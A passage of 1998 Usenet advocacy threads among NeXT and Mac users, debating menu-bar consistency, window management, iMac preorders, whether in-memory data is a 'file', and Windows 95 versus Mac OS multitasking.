>> is no indication that a menu will popup, yet when you get to sub levels,
>> there if you select an item, again, with no indicator, instead of more menus
>> poping up, it does nothing (till you release it for action instantiation).
>
>>sigh< Again, the Mac menu system is NOT inconsistent. There are TWO
>widgets: the menu bar, and the menus. The menu bar is consistently
>horizontal and contains only menus (except for the clock, which has been
>explained elsewhere). Each of these menu items, when clicked, will bring
>down the menu. The menus are consistently vertical, and can contain
>individual items or submenus. Submenus are marked with an indicator; items
>are not. Furthermore, items which bring up a dialog box before executing
>their command end with a "Š."
What IS this problem with the word 'inconsistent'? Why do you (and others) have
such a problem understanding it?
Websters -
a: not compatible with another fact or claim (inconsistent statements)
b: containing incompatible elements (an inconsistent argument)
c: incoherent or illogical in thought or actions: CHANGEABLE
d: not satisfiable by the same set of values for the unknowns (inconsistent equations)
Collins -
1. lacking in consistency, agreement, or compatibility; at variance
2. containing contradictory elements
3. irregular or fickle in behaviour or mood
4. (maths equations) not having one common set of values of the variables
5. (logic) axioms leading to a proposition that can be shown to be true
by one axiom and false by another.
Now, plainly the word is not being used in the mathematical or logical.
That leaves two other general senses -
containing incompatible/contradictory elements
incoherant, illogical, irregular in thought/mood or actions/behavior
You keep pointing out (the obvious) that the system is not inconsistent in
the first of these two senses, but fail to address the real point which was
the second sense.
>The only inconsistency is yours,
This phrase seems to be intended purely as an insult and makes no sense.
>in thinking that the menus and the menu
>bar do (or should) are the same widget, and thus should have the same
>indicators. They aren't, and they don't.
I think you are trying to make two points -
1. menu and menu-bar aren't the same widget
This is a straw man -
Nobody said they were the same widget (though on some systems they are).
The actual claim was that are both menus -
ie they both perform the same sort of function
2. menu and menu-bar shouldn't be the same widget
This is irrelevant to the consistency issue -
consistency is an issue in deciding whether menus and menu-bars should
be the same widget, not the other way round.
I think they probably should be the same widget because -
a. it lets you put things that should be permenantly available
(like a 'hide' option) on the menu-bar, thus making the UI more
efficient and easy to use.
b. it makes the menu system more consistent - making it slightly
easier for new users to learn.
c. it loses nothing
From: jagapen+nospam@whitewater.chem.wisc.edu (Jonathan Gapen)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Window Shade: *please* make this go away
Date: 29 Jul 1998 20:44:16 GMT
Organization: University of Wisconsin, Madison
Message-ID: <slrn6rv2d0.qt.jagapen+nospam@billybob.chem.wisc.edu>
References: <6oqr65$ept$1@supernews.com> <stone-ya02408000R1807981951280001@news.enetis.net> <6pktoe$qhd$1@walter.cs.umd.edu> <stone-2807981317080001@rc-pm3-1-33.enetis.net>
Kevin Stone wrote:
>Sean, I respect your opinion. But don't you find it a little backwards to
>be complaining about the features that do exist, instead of complaining
>about the ones that don't? The MacOS is the most functional GUI on the
>planet. It is the only GUI that really allows you to organize your files
>and work the way YOU want to work. Other GUI's constrain you to their own
>limited set of features and a strict, sometimes confusing way of organzing
>files.
In the Amiga community where I come from, there are many users who have
decided that the Amiga has the best multitasking, the best multimedia, and
the easiest user-interface arounnd, and repeated it mantra-like for so many
years they all believe it as undisputable fact. Of course, the "best GUI"
mantra has plagued the Mac community, and in both cases it's a load of crap.
I'm speaking as a mostly Amiga user who has had plenty of experience in
the field with Windows 3.0, 3.1, 95, and NT, MacOS, AmigaOS, OS/2, myriad
user environments under X11, and various others. I do think MacOS had a
strong claim to "easiest-to-use" back in System 6.0, but since then, many
new features have been bolted on to make it cluttered and confusing, and
the concept just doesn't work as well on big screens as it did on the tiny
displays of yesteryear.
So anyway, I do think it valid to complain about features that do exist
if they clutter and confuse GUI operation, and don't really add anything to
it aside from a coverup for other flaws.
All MHO, of course.
--
Jonathan Gapen - sysadmin - biker - caver - collecter of old computers
I think you know exactly what I mean when I say it's a shpadoinkle day.
From: RasAllGhul@webtv.net (Joshua Moore)
Newsgroups: alt.destroy.microsoft,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: CompUSA iMac orders stronger than expected
Date: Thu, 30 Jul 1998 04:32:05 -0400 (EDT)
Organization: WebTV Subscriber
Message-ID: <20351-35C02F85-68@newsd-124.bryant.webtv.net>
References: <6pnqq6$mr9$1@news.ncal.verio.com>
Mime-Version: 1.0 (WebTV)
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ETAsAhRn1xEqapudKPEbZTbwaYBu1AuNSgIUNoUlla0e9g+JjB2XPehLHeW78b4=
Thomas wrote:
>Trolling? Is this a verb?
Trolling as in fishing, and not a fuzzy headed doll or something that
lives under a bridge. So yes, trolling is a natural verb and not a
"verbed" noun. =@}
------
"But there's nothing more sadistic than an infant, waving his pistol in
my face. He wants me right down on my knees, crumbling in disgrace.
But he underestimates my mind, I know he's messing with my head." -
Trigger Happy Jack by Poe
From: Michael Peck <eusmpec@exu.ericsson.se>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Wed, 29 Jul 1998 17:07:10 -0500
Organization: Ericsson Inc.
Message-ID: <35BF9D0E.8EB4F462@exu.ericsson.se>
References: <Pine.SOL.3.96.980721100007.9943A-100000@ux7.cso.uiuc.edu> <andyba-ya02408000R2107981835050001@news> <Pine.SOL.3.96.980722104316.22438D-100000@ux8.cso.uiuc.edu> <andyba-ya02408000R2307981115550001@news> <Pine.SOL.3.96.980723142547.24544A-100000@ux9.cso.uiuc.edu> <andyba-ya02408000R2407981101130001@news> <Pine.SOL.3.96.980727102938.21442B-100000@ux7.cso.uiuc.edu> <6pid6g$atl$1@bunyip.cc.uq.edu.au> <Pine.SOL.3.96.980727133724.966B-100000@ux5.cso.uiuc.edu> <andyba-ya02408000R2807981006430001@news> <Pine.SOL.3.96.980728142820.21913B-100000@ux8.cso.uiuc.edu> <andyba-ya02408000R2907981014580001@news> <35BF89D8.52280D20@exu.ericsson.se> <6po50s$nmo$2@lwnws01.ne.highway1.com>
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John Kheit wrote:
>
> Michael Peck <eusmpec@exu.ericsson.se> wrote:
> > Andy Bates wrote:
> > > How much computer-science background have you actually had? The time to
> > > check will increase as more applications are added to the system.
> >
> > I assume you're familiar with magic(4) and gfile(1). The magic(4) file
> > on this particular box is around 125KBytes in size, and describes
> > probably several hundred different formats. Check this output:
> >
> > [root@teller lib]# time file magic
> > magic: magic text file for file(1) cmd
> > 0.020u 0.000s 0:00.08 25.0% 0+0k 0+0io 89pf+0w
> > [root@teller lib]#
>
> Well, I did my stint in comp sci, but I have no idea what that means. A
> clueon would be appreciated as to its relevance. (I even did a man on it and
> got nada! :)
It means that to search the entire file type database and figure out
what kind of file '/usr/lib/magic' is took 0.020 seconds of usertime,
0.000 seconds (unmeasurably small) of system time, the total elapsed
time was 0.08 seconds, and the entire process took 25% of one of the
machine's two 333-MHz CPUs during the time that it ran.
Because the process was running in a telnet session, it probably took
less time to run the command than it did for the program output to reach
me over ethernet 500 feet away. Needless to say, type-finding a large
number of files,
even with a large number of possible formats in the magic database, is
very fast.
This is being performed on a file with no resource fork, no filename
extension, just a series of tests being run on a trial-and-error basis
to identify it.
MJP
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Window Shade: *please* make this go away
References: <6oqr65$ept$1@supernews.com> <stone-ya02408000R1807981951280001@news.enetis.net> <6pktoe$qhd$1@walter.cs.umd.edu> <slrn6rv2oq.qt.jagapen+nospam@billybob.chem.wisc.edu>
From: richard@brainstorm.co.uk. (Richard Frith-Macdonald)
Message-ID: <35c000ba.0@nnrp1.news.uk.psi.net>
Date: 30 Jul 98 05:12:26 GMT
jagapen+nospam@whitewater.chem.wisc.edu (Jonathan Gapen) wrote:
> I'm surprised that no other GUI design other than Intuition in AmigaOS
>(and amiwm, a work-alike for X11) has taken advantage of a wickedly clever
>little thing called the "depth gadget." It's another window title gadget
>that lets the user depth-arrange windows. Instead of using a window shade
>feature to get around a window that's obscuring others, the AmigaOS user
>can simply use the depth gadget to send the offending window to the back.
> Much simpler. If OPENSTEP had this feature, I think it'd be nearly
>perfect.
It's nearly perfect :-)
command-down-arrow sends the current window to the back
(command-up-arrow) brings the back window to the front
From: "Earl Malmrose" <earl.malmrose@nospam.sierra.com>
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: CompUSA iMac orders stronger than expected
Date: Wed, 29 Jul 1998 15:51:12 -0700
Organization: Sierra On-Line, Inc.
Message-ID: <6po9iu$nbr$1@plo.sierra.com>
References: <derekc-2907980109260001@as5300-5-59.roc.ny.frontiernet.net> <macghod-2807982355590001@sdn-ar-001casbarp204.dialsprint.net> <jpolaski-2907980954020001@d150-233.ce.mediaone.net> <macghod-2907980953440001@sdn-ar-002casbarp235.dialsprint.net> <joe.ragosta-2907981404250001@wil73.dol.net>
NNTP-Posting-Date: 29 Jul 1998 23:00:46 GMT
Joe Ragosta wrote in message ...
>I should have saved the URL because I couldn't find it, but one of the Mac
>sites quoted a CompUSA store manager who said that in his store, there
>were over half as many iMac preorders (with $250 deposit) in two days as
>there were Win98 preorders in several weeks.
>
>Hmm. Only a couple of days to get 1/2 as many orders as Win98? When Win95
>has so much higher market share? And when you're comparing a $90 software
>product to a $1300 hardware product?
A $90 software product that is sold in every single computer store, compared
to a $1300 hardware product sold in one store. No, doesn't seem like a
logical comparison in any way.
From: uli@tallowcross.uni-frankfurt.de (Uli Zappe)
Newsgroups: comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Will my great old NeXT Apps work on Rhapsody/ OS X? Will my great old NeXT apps work on Rhapsody/ OS X?
Date: 30 Jul 1998 09:10:14 GMT
Organization: NEXTTOYOU
Message-ID: <6ppd9m$f9$2@tallowcross.uni-frankfurt.de>
References: <35BE8245.381E@launchnet.com> <6pnhrl$9d3@shelob.afs.com> <6pns4i$bhj$1@nnrp1.dejanews.com> <6po2vo$n0f$1@lwnws01.ne.highway1.com>
NNTP-Posting-Date: 30 Jul 1998 09:10:14 GMT
John Kheit <jkheit@mediaone.net> wrote:
> On a somewhat related note, I've heard that one can copy intel openstep
> (maybe nextstep) libraries to DR2, and get some of the old next apps
> running on an intel version of DR2. I haven't seen or tried this myself.
*Almost* true. The fact is that *NEXTSTEP 3.3* apps do run under
Rhapsody/Intel once the 3.3 libs are installed :-)) , while *OPENSTEP* apps
do not (the OPENSTEP libs would conflict with the Rhapsody ones).
Bye
Uli
--
_____________________________________________________________________
Uli Zappe E-Mail: uli@tallowcross.uni-frankfurt.de
(NeXTMail,Mime,ASCII) PGP on request
Lorscher Strasse 5 WWW: -
D-60489 Frankfurt Fon: +49 (69) 9784 0007
Germany Fax: +49 (69) 9784 0042
staff member of NEXTTOYOU - the German NEXTSTEP/OPENSTEP magazine
_____________________________________________________________________
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: Be's had their own share of direction changes (was: Here we go again...)
Newsgroups: comp.sys.mac.advocacy,comp.sys.be.advocacy,comp.sys.next.advocacy
References: <joe.ragosta-1807981004130001@elk79.dol.net> <Pine.BOS.3.96.980720211635.1874A-100000@fbnp> <joe.ragosta-2107980825210001@0.0.0.0> <6po8jr$m44@lace.colorado.edu>
Message-ID: <35bfb5ee.0@news.depaul.edu>
Date: 29 Jul 98 23:53:18 GMT
In comp.sys.next.advocacy Jay Riley <jay.riley@usa.net> wrote:
> Actually up until recently what's now called "Select" developer status was
> $250 and there was no free option. The free "Online" status came into being
> when Apple (a couple of months back IIRC) bumped their "Select" up to $500.
> I was going to renew my Select membership, but am re-evaluating this in light
> of the increase. The $500 is fine if you need a lot of support from Apple,
> but usually if I've found a problem with MacOS it has in fact been MacOS (or
> hardware) and I've never had a "support incident" in my 12 years of Mac
> programming.
I'm waiting to see how they price the Rhapsody OS and developer tools,
and if they're included in the membership. I didn't want to spend $500
for DR2 and a zillion useless MacOS CD's, then have to shell out
an unknown sum for the OS and tools later on.
--
Note: email to this address goes to /dev/null
To email a reply, write to jon at exnext dot com
From: cb@bartlet.df.lth.se (Christian Brunschen)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.next.programmer,comp.sys.mac.programmer
Subject: Re: Mac OS X UI
Followup-To: comp.sys.next.programmer,comp.sys.mac.programmer
Date: 30 Jul 1998 12:12:35 +0200
Organization: The Computer Society at Lund
Message-ID: <6ppguj$def$1@bartlet.df.lth.se>
References: <6odtu6$lh3$5@lwnws01.ne.highway1.com> <andyba-ya02408000R2807981200340001@news> <6plk25$jp6$1@bartlet.df.lth.se> <andyba-ya02408000R2907981658200001@news>
NNTP-Posting-User: cb
(Followups set to comp.sys.{next,mac}.programmer)
In article <andyba-ya02408000R2907981658200001@news>,
Andy Bates <andyba@corp.webtv.net> wrote:
>In article <6plk25$jp6$1@bartlet.df.lth.se>, cb@bartlet.df.lth.se
>(Christian Brunschen) wrote:
>
>> If I write a letter that is never intended to go anywhere but be sent to a
>> printer, it need never be a file at all.
>
>It's a file as soon as you select "New" from the File menu.
Except this application I'm using doesn't have a 'file' menu, it has a
'Document' menu. And indeed, I create a new document. But since I never
save it to the file system, it is never a file. Get it ?
>
>> The data in memory might be stored as something that has no remote
>> resemblance to a file: it might be a linked list, a tree, whatever; need
>> not be a file.
>
>Who says that a linked list can't be a file? Who says that a tree can't be
>a file? They all have a marked beginning, and a set way to traverse the
>data, and a set end. They are all files.
No they are not. You can _store_ a representation of a linked list, a
tree, or whatever, _in_ a file, but the tree _is not_ a file.
In particular, a tree or linked list don't usually have only _one_
boundary in memory - they are collections of data which may be spread out
through memory, with links (pointers) making a _logical_ structure out of
_physically_ distinct data.
>
>> >The data IS collected and stored in a well-defined place. In some cases,
>> >that place is an area of memory. It is possible to create a file, edit it,
>> >and print it, without it ever being saved to disk. However, it is still a
>> >file!
>>
>> No it's not - I write a letter, which I may or may not store in a file.
>
>You can choose whether or not to store it in a file on the disk; however,
>as soon as you start the letter ("Untitled"), the program starts a file in
>memory.
No - the program starts _some data structure_ in memory. This data
structure could be stored in a file, but it never is, due to my choice of
never saving it to a file. Thus, there is never a file.
>
>> The letter itself is _not_ a file, the file is a _container_ for the
>> letter where I may choose to place it.
>
>A file is a collection of data, plain and simple. The letter in memory is a
>file. Now, when you save it to disk it may have additional data to make it
>accessible to the filesystem on the disk, but it is still a file when it is
>in memory. It just happens to be a file that is only accessible to the
>program that created it.
>
>> The fact that I can store the
>> letter in a file does not make the letter a file, nor does it make every
>> possible place that I could store the letter a file.
>
>I'm sorry, but you're wrong. Just because it's a file when it's on a disk
>doesn't mean that it's NOT a file if it's NOT on a disk.
You keep mentioning 'on disk' - I keep saying 'in a file system'. As soon
as you remove data from the file system - ie _take it out of the
container_ - then it is no longer in the file, and is not a file.
You fail rto understand this. I don't know why.
>
>> >Or for that matter, what would you call the items that you save to a RAM
>> >disk? They aren't stored on a disk filesystem; does that mean that they
>> >aren't files?
>>
>> I gave an example in my post, where I explicitly said that a ramdisk is a
>> good place for files - after all, a ramdisk has a _file system_, doesn't
>> it ?
>
>Why are you hung up on this "file system" concept? A file can exist outside
>of a file system! Or, if you prefer, each program has its own file system
>which it uses to keep track of its current files in memory.
So basically you are saying that everything in a computer that somehow
organizes data, is a file system?
You will find opposition from most people who program computers.
>
>> >Yes, it was a file. Saying that "it was a bunch of text" doesn't change
>> >that fact. You called it "a bunch of text." "A bunch." A "bunch" is another
>> >word for a collection, and text is just data. Therefore, "a bunch of text"
>> >is just a collection of data, which is, surprise!, a file. You can get out
>> >a thesaurus and call it "an amalgalm of glyphs," but it's still a file.
>>
>> Just because a file is a collection of data, does not make every
>> collection of data a file. It's a one-way relationship - an implication,
>> not an equivalence.
>
>A file is a collection of data with distinct boundaries and a distinct
>structure. A collection of data with distinct boundaries and a distinct
>structure is a file. They are equivalent.
No they are not.
A file is indeed a collection of data with distinct boundaries and a
distinct structure - that part is true; this is a one-sided _implication_.
The implication in the other direction - ie, saying that any collection
of data that is bounded and structured is also a file - is _not there_.
> A word-processing document saved
>to disk is a file.
Usually, yes. I could also store a word processing document in _several_
files, you know. That doesn't make those several files one file.
>A word-processing document stored in memory is a file.
Not unless it's stored in a file system in memory (such as a RAMdisk).
>
>> If I place a bunch of data together, I have just that - a bunch of data.
>> If I put that data in a file, I have a file... which contains a bunch of
>> data.
>
>If you put a bunch of data together in a distinct structure with distinct
>boundaries, then it is a file.
No it's not. Please dig up a reference that claims this to be true, since
I perceive this to be your crucial misunderstanding of the issue.
>
>> >No, saving it doesn't "turn it into" a file; it is ALREADY a file.
>>
>> No - by saving a bunch of data in a specific way, you define it to be in a
>> file. This is what distinguishes any collection of data, from a file.
>
>No, the area (whether it is in memory or on disk) where the program (or
>file system) stores the data is what distinguishes any collection of data
>from a file.
So, how about a tree structure in memory, that is spread out all over the
place? There is no one beginning or one end, there are in fact lots of
beginnings and endings, all connected by references this and that way.
This would break your concept of a File, would it not?
Also, consider a typical hard disk. A disk is divided into sectors; each
sector has a destinct beginning, ending, and collects a certain amount of
data. Is, thus, every sector on a disk a file?
>
>> Exactly - they speak about 'documents', 'reports', etc - they talk about
>> the contents of the files, because that is what is important to them. They
>> take a file's contents out of the file (and into memory) to edit it,
>
>No, they don't take it out of the file; it still exists on the hard disk. A
>copy of that data (with a distinct structure and boundaries -- a file) is
>stored in memory.
I didn't say they removed it, they take it out and build a distinct
structure in memory - a structure that bears no resemblance to a file,
usually.
>
>> then
>> store it back to a file when they are done.
>
>After the file in memory has been modified, it is written back to the disk,
>and given a specific label to distinguish it from all of the other files on
>the filesystem.
No, after the data in memory was modified, it was stored in a file in the
file system. The application does not have a concept of a 'file' in memory
- only the concept of a 'file' in the file system.
>
>> The file is a container for
>> data - the data is the data.
>
>That's correct. And that container can exist on a hard disk, or in memory.
>Why do you think that the container in memory is any less of a "file"?
You can very well have such a container in memory - as I have mentioned
RAM disks repeatedly. But that does not make _every_ possibly data in
memory a file.
You claim an _equivalence_ where only an _implication_ exists.
>
>> >By your logic, an airplane is only an airplane while it's in the air. If it
>> >lands, it's a car. If it lands in the ocean, it's a submarine.
>>
>> You misunderstand - the airplane is an airplane when it is put together as
>> a functional airplane.
>
>How do you know if it's functional if it's on the ground? You can really
>only know that it's functional if it's in the air. Therefore, by your
>logic, it is not an airplane while it's on the ground.
You can check the functionality of an airplane even while on the ground -
also, you are trying to nit-pick an analogy, are you aware of that? There
will _always_ be differences between analogy and reality.
>And how is a file in memory less "functional" than a file on disk? What can
>you do with a file on disk that you can't do with a file in memory?
Now you are adding new stuff - I never claimed any of that. Please don't
claim that I said or implied things that I clearly didn't.
To adress the point, however:
A file on a RAMdisk - and this in a file system in memory - is exactly as
functional as a file on any other physical medium, be it a hard disk, a
floppy, a tape, a magnetic drum, an optical medium ....
A linked list, or a tree, in memory are in fact _much more_ functional
functional that a file is. This is largely because you are not limited to
a file's concept of one beginning, one ending, and one set of data in
between.
In fact, the closest thing to a file in memory (and now I'm talking about
application memory _as opposed to_ a ramdisk) is an array. Very nice data
structure, but not what you need for all sorts of things. _But_ you can
almost always take another data structure and store it in an array, just
as you can take this same data structure and store it in a file.
In fact, the mere _existence_ of the word 'array' - which denotes a data
collection with one beginning, one end, and the data all in between, and
thus means much the same as 'file' - should be taken as a counter-argument
to your claims. An 'array' need not be in an 'array system' - whereas a
'file' is in a 'file system'. An array in memory can be represented
_exactly_ in a file in a file system, and vice versa. For most other data
structures, this is not the case - they have to be 'translated' to a
distinctly different representation for storage in a file.
>
>> >The program that operates on that data has to have some way of
>> >distinguishing that data from the rest of the data floating around memory.
>> >That organization of data that it maintains is called a file.
>>
>> Not really - that organization may be called a list, an array, a tree, a
>> hash table .... you actually only very rarely use the same representation
>> in memory as you might use in a file.
>
>I never said that you had to use the same representation in memory as you
>do on the disk! But if you traverse both the disk file and the file in
>memory from the beginning, and stop as the end, you will get the exact same
>output.
Umm ----- _NO_.
If I have a linked list which just _happens_ to be stored in reverse in
memory, the applicatino doesn't care; as long as the pointers between the
different parts of the list all point correctly, the application works.
Likewise if the list is spread out all over the application's memory.
Whereas if I store this list to a file, the situation is completely
different.
>
>> Furthermore, it does not claim that
>> the contents of memory is a file - but rather that you store a
>> representation of the data in memory, in a file.
>
>First of all, who or what is "it"?
"it" I think was the quote from Webster's, which you included.
>And yes, a representation of the data is
>stored in memory, in a file. Isn't that what I've been saying all along?
I phrased the above badly. It is intended to mean 'you take a
representation of the data that you have in memory and store it in a
file'. (careful reading will reveal that this is indeed one of the
possible interpretations.) If I put some parentheses around the groupings
I intended we get
you store (a representation of (data in memory)) in a file
rather than the
you store (a representation of (data) (in memory, in a file))
which you apparentlty read it as.
>
>> Note: "a representation"
>> - still a different thing; the data in the file and the data in memory are
>> most often distinctly _different_.
>
>Yes, the file in memory and the file on the disk can be organized
>differently. No one ever said that one file has to have the exact same
>organizational structure as another.
But the data in memory is not in a file.
>
>> Saving data to a file usually does
>> things with the data, preparing it for storage in a file; the organization
>> of data in memory and in a file differ greatly.
>
>Yes, the program prepares the file in memory for storage to a file on the
>disk; we are in perfect agreement here. However, and again, just because
>they are organized differently doesn't make one a file and the other not a
>file.
But the data in memory is not 'in a file' - it is in some sort of data
structure that uses different parts of memory, is not bounded by one
beginning and one ending, and is generally lots of things _except a file_.
Get it?
>
>> >A file in memory has some sort of delimitation which marks where it begins,
>> >where it ends, and which order it goes in. A random collection of data does
>> >not have these distinguishing characteristics, and is therefore not a file.
>> >However, and collection of data that a program will be working with in
>> >memory DOES have these delimiters, and is therefore a file.
>>
>> Most collections of data in memory have multiple markers of beginning,
>> ending, and whatnot - and they usually differ greatly from similar
>> markings used for files.
>
>So? They are different, but they still exist. A word processing file (or
>any other type of file) will have a distinct structure and distinct
>boundaries.
>
>> A file has _one_ beginning and _one_ ending.
>
>Right. Distinct boundaries. And a distinct structure. Just like a word
>processing document in memory. A file.
Ahh -- but a word processing document in memory does not have 'one
beginning and one ending'. It does have conceptually - but it is rarely
stored as such. Often it can be stored as, say, a list of paragraphs,
where each paragraph might be at some place in memory. The third textual
paragraph might be placed earlier in memory than the second textual
paragraph, for instance...
>
>> When
>> you load the file into your word processor, the word processor interprets
>> the contents of the file and builds a _structure_ of data in memory - a
>> structure that is usually totally different than what is in the file.
>
>The structure of the file in memory may be totally different from the
>structure of the file on disk, yes.
Good.
>You are hung up on calling the file on disk, "the file," when in fact it is
>"the disk file."
No - 'the file' as in 'the ordered collection of data in the file system'.
That which distinguishes data in a file from data _not_ in a file.
_I_ don't say you have to store a file on disk - I just say that most data
in memory is _not a file_, whereas you claim that all data in memory is a
file.
But to have 'files' you have to have a 'file system', otherwise the
concept falls.
>
>> When
>> you then save the text to another file (or the same one), the contents of
>> memory are written to the file. Still, the contents of memory while you
>> are editing the text are _not_ a file.
>
>Yes, they are. A file can exist outside of a file system. By your logic, a
>car is only a car while it's in a garage.
If I take a file out of the file system, what is there to say that it is a
file? A file is a file _only_ in the presence of a file system, otherwise
it is just data. Yes, you _can have_ a file system with only one file, but
you still have a file system....
The car is still a car because it functions as a car.
The file, outside of the file system, does not function as a file. If you
_treat_ it as a file, then you _are_ defining a 'file system'.
>
>> >When you write a letter that is stored in memory, what happens when you
>> >print it out? Does it print out the complete contents of the computer's
>> >entire memory? No, it just prints out the collection of data that you
>> >entered in. The computer knows where that collection starts, where it
>> >stops, what it contains, and what order it goes in. It is a file. A file
>> >system is a structure for storing files (specific delimited collections of
>> >data) onto a storage medium. That doesn't mean that a file can not exist
>> >outside of the file system. By that logic, an orange peel isn't garbage
>> >until you put it in a garbage can.
>>
>> But that is indeed true - an orange peel may be a lot of things besides
>> garbage. It could be the centre piece of the stilleben scene I am making a
>> painting of. It could be that I want to shred & boil the orange peel to
>> make jam out of it.
>
>All correct.
>
>> An orange peel isn't garbage until I decide that it is garbage, and treat
>> it like garbage.
>
>Wrong. It is garbage AS SOON AS YOU DECIDE that it is garbage! It does NOT
>become garbage only when you put it in the garbage can!
>
>> Likewise, data isn't a file until I begin to treat it
>> like a file.
>
>And see, your analogy breaks down. "Treating it like a file" entails more
>than just saving it to disk.
Yes - it means defining it as a file within a file system.
> It involves having a distinct structure and
>order. The program treats the collection like a file, and therefore it is a
>file.
But the program doesn't treat the collection like a file, so it's not a
file.
>
>> And data in memory in use by an application is rarely treated
>> as a file, and thus is not a file.
>
>Wrong. It is treated like a file by the program. It is stored (in whatever
>form) as a collection of data.
The same mistake again: the fact that it is an ordered collection of data
does not make it a file.
To reiterate:
1) The fact that something is a file _does_ make it an ordered colection
of data.
2) The fact that somethign is an ordered collection of data _does not_
make it a file.
Get that into your head and you will see the fallacy of your arguments.
You are arguing based on an incorrect premise, of course you arrive at the
wrong conclusions.
>
>> >No, not every combination
>> >of text in memory is a file. But then again, not every combination of data
>> >on a hard disk is a file either. Certain markings distinguish one file from
>> >another on a hard disk; similar markings distinguish one file from another
>> >in memory. Why is that so hard to comprehend?
>>
>> Because it is a false claim.
>>
>> Why is it so hard for you to comprehend that what is inside most
>> applications while they run is not a file, but data in another form?
>
>What other form? Why do you think that certain "forms" can't be files?
A linked list, a tree, a hash table ... they _are not_ files. You can
_store them_ in files, perhaps, but they _are not_ files. If you have them
in memory, you do not treat them as files - since you disregard their
physical boundaries and are concerned, instead, with their logical
collections. Whereas in a file, the physical boundaries of the whole
shebang are a vital characteristic that makes up a file. Get it ?
>
>> Your extract from Webster's does not claim that every ordered collection
>> of data is a file, does it? That is the misinterpretation you make, I
>> think. Again, the fact that a file is an ordered collection of data does
>> not make every ordered collection of data a file - just like the fact that
>> every whale is a mammal does not make all mammals whales.
>
>Every collection of data with a distinct structure and distinct boundaries
>is a file. They are equivalent.
No they are not. Either get this mistaken idea out of your head, or
provide good evidence that you are in fact correct and that I am wrong.
>
>> Another example: Fractint is a popular program that lets you draw fractal
>> images. You select a fractal formula to use, you select the parameters to
>> give, you select resolution and color map (how the results of the
>> calculation should be turned into an image), and then you let the program
>> work; it calculates an image and presents it to you on screen.
>>
>> Now, in what way is this image a file ? It most certainly is not in any
>> file format you'll ever have come across; it is, in fact, stored in memory
>> in a fashion that is quite distinct from how images are stored in files.
>
>The bitmap representation of the fractal equation is stored in memory. The
>program knows which pixel is the first one, which is the last one, and what
>order they go in.
Yes; but this order need not be the physical order they are in, thus you
can't just dump them directly to a file.
Again, in a linked list, you need to look at the contents of the data (the
pointers) to see the structure; a file is well-defined (as is an array) by
its beginning and end. Try to treat a linked list like a file (by just
bothering about its beginning and end) and see where you end up.
>Furthermore, I'll wager that you can save that file as a
>TIFF file, a GIF file, or whatever graphics format you choose.
Yes - I can _save it as_ a file - but it is not a file.
>It is a file.
Nope, it isn't.
>
>> Now Fractint offers an option to save an image to a file, and one to load
>> an image from a file. However, each of those operations transform between
>> a file (in the file system) and an image (in application memory). The two
>> - the image and the file - have a well-defined relationship, but are not
>> identical, they are not the same thing.
>
>They don't have to have the same format, but they ARE both files. I never
>said that a file in memory and a file on disk have to have the same format.
>However, there is a distinct one-to-one relationship between a given disk
>file and a given file in memory. Two files that share that relationship are
>the same file.
But the 'file in memory' need not even bear a shred of resemblance to the
'file in the file system'. It need not be contiguous in memory; it may not
even be all in memory at the same time; thus it's not a file.
>
>> The data that the program works with _is not_ a file - but a file can be
>> generated from it.
>>
>> Why is _this_ so difficult for _you_ to understand ?
>
>I understand that you are wrong.
Well, you _mis_understand, since you are the one who is wrong.
>
>Andy Bates.
// Christian Brunschen
From: cb@bartlet.df.lth.se (Christian Brunschen)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: 30 Jul 1998 12:31:35 +0200
Organization: The Computer Society at Lund
Message-ID: <6ppi27$fkb$1@bartlet.df.lth.se>
References: <6or4sj$83a$1@supernews.com> <Josh.McKee-2507980855240001@pm3a23.rmac.net> <MPG.102417abebbe2be9989a03@new <6poqeb$kbe$1@nnrp1.dejanews.com>
NNTP-Posting-User: cb
In article <6poqeb$kbe$1@nnrp1.dejanews.com>, <quinlan@my-dejanews.com> wrote:
>In article <Josh.McKee-2907981834090001@pm3a7.rmac.net>,
> Josh.McKee@cbns.com (Joshua T. McKee) wrote:
>
>> I don't think the word pre-emptive was defined with multitasking in mind.
>> Rather the other way around.
>
>Exactly, which is why your definition was necessarily incorrect.
>
>> We weren't talking about "delaying"...we were talking about "blocking".
>> And Windows 95, with it's "pre-emptive multitasking" can be blocked by
>> running a 16 bit program. Likewise, just today I had a Windows 95 system
>> "freeze" on me while it was doing something. I couldn't do anything else
>> while it was doing whatever it was doing. It is for this very reason why
>> I claim that Windows 95's PMT is comparable to the Macs CMT...because,
>> like most everything else in Windows 95, it isn't reliable.
>
>1) Very well, name one operating system where no application can "block" the
>system.
Unix ?
Unless you manage to find a bug and actually crash the system, the design
is such that the kernel _will_ periodically interrupt _whatever_ process
is running and give another ready-to-run process the chance to run
instead. You can usually bog down a system by making one process get the
kernel to start accessing lots of virtual memory if you have that, but you
can't get the kernel to stop pre-empting processes.
>
>2) Windows 95's worst case (16-bit application blocking preemptive sheduling)
>is the same as the Mac OS's best case. So unless Windows 95 multitasking
>always displays worst case performance (which it does not), it is superior to
>Mac OS multitasking.
Um, no.
The MacOS' best case is when all applications 'play nice', and cooperate -
thus giving each other time to run. In this case, everything works fine,
for each application, and for the user.
Win95's best case is that you don't run any misbehaving applications
(16-bit applications that would block the pre-emtion mechanism), and thus
each application will get pre-empted when necessary, and thus everything
works fine for the applications and the user.
MacOS's worst case is if an application misbehaves and does not allow
other applications to run.
Win95's worst case is if a 16-bit application bypasses and stops the
pre-emption mechanism, and does not allow other applications to run.
As we can see, both the best and worst case are in fact _equal_ under both
OS:es.
Now, the only argument that can be made is where on the scale between the
best case and worst case the respective OSes are.
According to Josh, most MacOS applications are sufficiently well-behaved
to give a good user experience, placing it near the best case.
In comparison, Josh offers his observation that the pre-emption mechanism
of Win95 may not always run at its best-case reliability even in the
absence of a worst-case 16-bit application, thus leaving Win95 likewise
